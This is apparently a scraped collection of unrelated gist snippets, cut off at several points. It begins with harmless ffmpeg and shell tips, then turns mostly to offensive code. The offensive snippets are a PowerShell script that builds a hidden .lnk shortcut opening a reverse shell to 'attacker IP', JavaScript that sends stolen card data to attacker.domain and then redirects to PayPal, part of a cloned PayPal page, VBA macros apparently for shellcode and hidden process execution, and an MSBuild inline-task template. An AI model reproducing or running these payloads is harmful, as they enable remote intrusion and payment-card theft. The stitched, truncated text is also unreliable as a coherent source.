Minimal example: transcode from MP3 to WMA:
ffmpeg -i input.mp3 output.wma
You can get the list of supported formats with:
ffmpeg -formats
You can get the list of installed codecs with:
| # Run the last command as root | |
| sudo !! | |
| # Serve current directory tree at http://$HOSTNAME:8000/ | |
| python -m SimpleHTTPServer | |
| # Save a file you edited in vim without the needed permissions | |
| :w !sudo tee % | |
| # change to the previous working directory | |
| cd - | |
| # Runs previous command but replacing | |
| ^foo^bar |
| ------------------------------------------------------------------------- | |
| USEFUL ONE-LINE SCRIPTS FOR SED (Unix stream editor) Dec. 29, 2005 | |
| Compiled by Eric Pement - pemente[at]northpark[dot]edu version 5.5 | |
| Latest version of this file (in English) is usually at: | |
| http://sed.sourceforge.net/sed1line.txt | |
| http://www.pement.org/sed/sed1line.txt | |
| This file will also available in other languages: | |
| Chinese - http://sed.sourceforge.net/sed1line_zh-CN.html |
| Public Sub PrintDocumentProperties() | |
| Dim oApp As New Excel.Application | |
| Dim oWB As Workbook | |
| Set oWB = ActiveWorkbook | |
| Dim Exec As String | |
| #If VBA7 Then | |
| Dim rwxpage As LongPtr, res As LongPtr | |
| #Else |
| <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> | |
| <!-- Pass xml to msbuild for compile and execution --> | |
| <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild filepath\filename.xlm --> | |
| <!-- Configure AssemblyFile and pok for that to work --> | |
| <Target Name="34rfas"> | |
| <QWEridxnaPO /> | |
| </Target> | |
| <UsingTask | |
| TaskName="QWEridxnaPO" | |
| TaskFactory="CodeTaskFactory" |
| $WshShell = New-Object -comObject WScript.Shell | |
| $Shortcut = $WshShell.CreateShortcut("c:\lnk_tests\payload.lnk") | |
| $Shortcut.TargetPath = "%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe" | |
| $Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21" | |
| $Shortcut.Arguments = '-windowstyle hidden /c $sm=(New-Object Net.Sockets.TCPClient("attacker IP",55555)).GetStream();[byte[]]$bt=0..255|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)} ' | |
| $Shortcut.Save() |
| var cus_cc_type = '', | |
| cus_data = '', | |
| cc_data = '', | |
| chosen_country = '', | |
| data_receiver_url = 'http://attacker.domain/receiver.php', | |
| redirect_url = 'https://www.paypal.com/'; | |
| $(function(){ | |
| //setup page layout based on hashes |
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> | |
| <html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> | |
| <!-- | |
| Script info: script: webscr, cmd: _login-done, template: xpt/Customer/account/Welcome, date: Oct 11, 2012 16:49:51 PDT; country: IL, language: en_US, xslt server: | |
| web version: 96.0-3969444 branch: 0c70be8c0a73dfbb978732422efbf4fca0a23a3b | |
| content version: - | |
| pexml version: 96.0-3926915 | |
| page XSL: Customer/default/en_US/account/Welcome.xsl | |
| hostname : r.2spu2LOUZcNnBRsYjePxQpStse5G4-zegwL6TJwPY | |
| rlogid : r%2f2spu2LOUZcNnBRsYjeP%2fNpCNULCflCYA8cyCpRTG%2b5JByM%2b7UIRg%3d%3d_13a6c359470 |
| Sub InkEdit1_GotFocus() | |
| Debugging | |
| End Sub | |
| Public Function Debugging() As Variant | |
| Const HIDDEN_WINDOW = 0 | |
| strComputer = "." | |
| Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2") | |
| Set objStartup = objWMIService.Get("Win32_ProcessStartup") | |
| Set objConfig = objStartup.SpawnInstance_ |